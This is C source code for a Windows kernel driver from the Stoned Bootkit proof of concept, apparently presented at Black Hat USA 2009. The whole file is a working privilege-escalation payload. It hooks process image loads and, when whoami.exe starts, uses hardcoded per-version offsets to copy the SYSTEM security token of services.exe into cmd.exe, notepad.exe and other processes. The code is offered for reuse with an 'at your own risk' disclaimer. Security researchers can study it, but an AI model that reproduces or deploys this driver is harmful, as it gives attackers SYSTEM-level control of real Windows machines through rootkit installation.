
// re-developed by Peter Kleissner for Stoned Bootkit, Black Hat USA 2009 Briefings, "Stoned Bootkit" POC

//  Original Authors: Nitin Kumar & Vipin Kumar
//  NOTE:- We are not responsible for anything.Use at your own risk
//  If you develop anything using this code, please remember to give necessary credit to the authors.
//  Project available at www.rootkit.com


/* includes and included definitions */

#include "ntddk.h"
#include "ntdddisk.h"
#include "windef.h"


/* forward declarations */
NTSTATUS GsDriverEntry(void * ModuleAddress, int (* StonedCallback)(unsigned FunctionNumber, void * Param));
void NotifyRoutine(IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, IN PIMAGE_INFO  ImageInfo);
void PrivilegeEscalation(IN PVOID StartContext);

/* Stoned Bootkit Framework includes */
#define SbNotifyDriverLoad    0
#define SbInstallWindowsHook  2

#define HookType_Hook         0   // hooking a function = control passed to hook, then original function is called        (before a function is called)
#define HookType_Intercept    1   // intercepting a function = getting function parameters, return value and return eip   (after a function is called)

struct
{
  void * FunctionName;
  void * FunctionHook;
  unsigned Type;
} Hook;


/* the real true driver entry point, name it always GsDriverEntry@8 */

NTSTATUS GsDriverEntry(void * ModuleAddress, int (* StonedCallback)(unsigned FunctionNumber, void * Param))
{
  HANDLE ThreadHandle;
  OBJECT_ATTRIBUTES ObjectAttributes;
  DbgPrint("\nYour PC is now Stoned!  ..again!\n\n");
  
  // create the thread
  InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
//  PsCreateSystemThread(&ThreadHandle, STANDARD_RIGHTS_ALL, &ObjectAttributes, NULL, NULL, &PrivilegeEscalation, NULL);

  // only act on newly loaded images - which is a safe method
  PsSetLoadImageNotifyRoutine(&NotifyRoutine);
  
  // at unload image we should restore security tokens!
  
  return STATUS_SUCCESS;
}


/* check every new loaded image if to privilege escalate */

void NotifyRoutine(IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, IN PIMAGE_INFO  ImageInfo)
{
  DbgPrint("Image Load: %wZ\n", FullImageName);
  
// log:
//Image Load: \Device\HarddiskVolume1\Windows\system32\cmd.exe              *not recommended, keeps crashing*
//Image Load: \Device\HarddiskVolume1\Windows\System32\whoami.exe           Vista
//Image Load: \Device\HarddiskVolume1\Programme\Support Tools\whoami.exe    XP

  if (_wcsnicmp(FullImageName->Buffer, L"\\Device\\HarddiskVolume1\\Programme\\Support Tools\\whoami.exe", 58) == 0 ||
    _wcsnicmp(FullImageName->Buffer, L"\\Device\\HarddiskVolume1\\Windows\\System32\\whoami.exe", 51) == 0   ||
    _wcsnicmp(FullImageName->Buffer, L"\\Device\\HarddiskVolume2\\Windows\\System32\\whoami.exe", 51) == 0   ||
    _wcsnicmp(FullImageName->Buffer, L"\\Device\\HarddiskVolume3\\Windows\\System32\\whoami.exe", 51) == 0   )
    PrivilegeEscalation(NULL);
}


/* Vipin Kumar Black Hat Europe 2007 vbootkit inspired privilege escalation */

void PrivilegeEscalation(IN PVOID StartContext)
{
  PEPROCESS CurrentProcess, ServiceProcess, FirstProcess;
  DWORD ServiceSecurityToken;
  RTL_OSVERSIONINFOW OSVersionInfo;
  DWORD OffsetAPL, OffsetIN, OffsetST;

  CurrentProcess = /*PsInitialSystemProcess;//*/IoGetCurrentProcess();
//  ServiceProcess = CurrentProcess;

/*  OS                      ActiveProcessLink   ImageName           SecurityToken
    Windows 2000            + A0h               ++ 15Ch             ++ 8Ch              SP4, verified by PK
    Windows XP SP0          + 88h               ++ ECh              ++ 40h              verified by PK
    Windows XP SP2          + 88h               ++ ECh              ++ 40h              verified by PK
    Windows Server 2003     + 88h               ++ CCh              ++ 40h              verified by PK
    Windows Server 2003 R2  + 98h               ++ CCh              ++ 40h              verified by PK
    Windows Vista           + A0h               ++ ACh              ++ 40h              SP0, SP1, verified by PK
    Windows Server 2008     + A0h               ++ ACh              ++ 40h              verified by PK
    Windows 7               + B8h               ++ B4h              ++ 40h              verified by PK
*/

  // set offsets according to the operating system (and above table)
  OSVersionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
  PsGetVersion(&OSVersionInfo.dwMajorVersion, &OSVersionInfo.dwMinorVersion, NULL, NULL);

  if (!(OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0))      // RtlGetVersion() is only support on XP and higher
    RtlGetVersion(&OSVersionInfo);

  if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0)         // Windows 2000
  { OffsetAPL = 0xA0; OffsetIN = 0x15C;  OffsetST = 0x8C;  }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 1)    // Windows XP
  { OffsetAPL = 0x88; OffsetIN = 0xEC;  OffsetST = 0x40;  }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 2)    // Windows Server 2003
  { OffsetAPL = 0x88; OffsetIN = 0xCC;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 3790)  OffsetAPL += 0x10;  }                   // Windows Server 2003 R2
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 0)    // Windows Vista, Windows Server 2008
  { OffsetAPL = 0xA0; OffsetIN = 0xAC;  OffsetST = 0x40;  }
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 1)    // Windows 7 RC
  { OffsetAPL = 0xB8; OffsetIN = 0xB4;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 7000)  OffsetIN = 0xAC;    }                   // Windows 7 Beta
  else
  {
    DbgPrint("Black Hat Europe 2007 cmd.exe privilege escalation is only supported on XP, Server 2003, Vista, Server 2008 and 7\n");
    return;
  }

  // find services.exe process structure
  ServiceProcess = *(PEPROCESS *)((BYTE *)CurrentProcess + OffsetAPL);
  ServiceProcess = *(PEPROCESS *)(ServiceProcess);
  while (1)
  {
    DbgPrint("Found Process: %s\n", (char *)ServiceProcess + OffsetIN);
    if (_stricmp((char *)ServiceProcess + OffsetIN, "services.exe") == 0)
      break;
    ServiceProcess = *(PEPROCESS *)(ServiceProcess);
  }
  
  ServiceSecurityToken = *(DWORD *)((DWORD *)ServiceProcess + OffsetST/4);
  DbgPrint("System Service Security Token: %08x\n", ServiceSecurityToken);

  // now escalate any cmd.exe, notepad.exe, King Kleissner process
  CurrentProcess = *(PEPROCESS *)((BYTE *)CurrentProcess + OffsetAPL);
  for (FirstProcess = CurrentProcess;  FirstProcess != *(PEPROCESS *)(CurrentProcess);  CurrentProcess = *(PEPROCESS *)(CurrentProcess))
  {
    if (  _stricmp((char *)CurrentProcess + OffsetIN, "cmd.exe") == 0         ||
          _stricmp((char *)CurrentProcess + OffsetIN, "notepad.exe") == 0     ||
          _stricmp((char *)CurrentProcess + OffsetIN, "King Kleissner") == 0  )
       {
         DbgPrint("Overwriting old Security Token: %08x\n", *(DWORD *)((DWORD *)CurrentProcess + OffsetST/4));
         ObReferenceObject((void *)ServiceSecurityToken);
         *(DWORD *)((DWORD *)CurrentProcess + OffsetST/4) = ServiceSecurityToken;
         DbgPrint("cmd.exe privilege escalated successfully!\n");
       }
  }
}


